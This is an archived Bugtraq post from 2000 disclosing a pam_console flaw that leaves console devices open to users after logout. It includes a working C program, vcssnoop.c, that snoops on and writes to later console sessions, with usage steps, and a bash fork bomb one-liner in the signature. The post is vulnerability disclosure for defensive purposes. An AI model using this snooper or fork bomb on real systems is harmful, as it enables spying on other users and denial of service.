Bugtraq mailing list archives
pam_console bug
From: lcamtuf () TPI PL (Michal Zalewski)
Date: Tue, 2 May 2000 22:23:44 +0200
When accepting luser console login, pam_console called by /bin/login tries to be user-friendly, doing several chowns on devices like login tty and corresponding vcs[a] device, as well as other interesting devices: fd*, audio devices (dsp*, mixer*, audio*, midi*, sequencer), cdrom, streamer/zip drive devices, frame buffer devices, kbd*, js*, video*, radio*, winradio*, vtx*, vbi* and so on. Probably it's designed to make console logins more comfortable, but has DEADLY effects on servers with console luser-login ability (and that's quite common). On logout, these devices are chown'ed back to root, but unlike /dev/tty[0-9], these devices have no hangup mechanism, so user will have full control over them after logout by opening them and then keeping the file descriptor. The easiest attack is read-write snooping of consoles. Log in on console once, open /dev/vcsX (where X corresponds to tty number), then logout. By continous lseek/read loop, your program will be able to snoop futher logins on this console - forever. Also, it's possible to write() on snooped console... Ugh. Other possibilities include reading any inserted cd, reading/writing any inserted floppy, messing with video/audio devices and so on, all in the same way. Minimal tty snoop exploit: -- vcssnoop.c -- #include <sys/fcntl.h> main(int argc,char*argv[]) { char buf[80*24]; int f=open(argv[1],O_RDWR); while (1) { lseek(f,0,0); read(f,buf,sizeof(buf)); write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi write(1,buf,sizeof(buf)); usleep(10000); } } -- EOF -- Log onto console, let's say it's tty3. Then, compile and launch this program via screen, giving path to vcs device corresponding to your login tty (in this case, /dev/tty3). Then, detach this screen and logout. Wait some time, log in remotely to your account and resume screen session. You should see real-time tty3 dump. _______________________________________________________ Michal Zalewski [lcamtuf () tpi pl] [tp.internet/security] [http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};: =-----=> God is real, unless declared integer. <=-----=
Current thread:
- Wemilo cassius () HUSHMAIL COM (Apr 30)
- pam_console bug Michal Zalewski (May 02)
- Re: pam_console bug Benjamin Smee (May 03)
- Re: pam_console bug Michal Zalewski (May 04)
- Re: pam_console bug Benjamin Smee (May 03)
- Re: Wemilo daedalus (May 02)
- Possible issue with Cisco on-line help? Fernando Montenegro (May 02)
- Re: Possible issue with Cisco on-line help? Fernando Montenegro (May 04)
- Re: Possible issue with Cisco on-line help? Lisa Napier (May 09)
- Re: Possible issue with Cisco on-line help? Fernando Montenegro (May 04)
- 4ward:It's a blue world! deepquest () NETSCAPE NET (May 02)
- Denial of service attack against tcpdump bretonh () PARANOIA PGCI CA (May 02)
- Re: Denial of service attack against tcpdump antirez (May 03)
- Re: Denial of service attack against tcpdump Sebastian (May 03)
(Thread continues...)
- pam_console bug Michal Zalewski (May 02)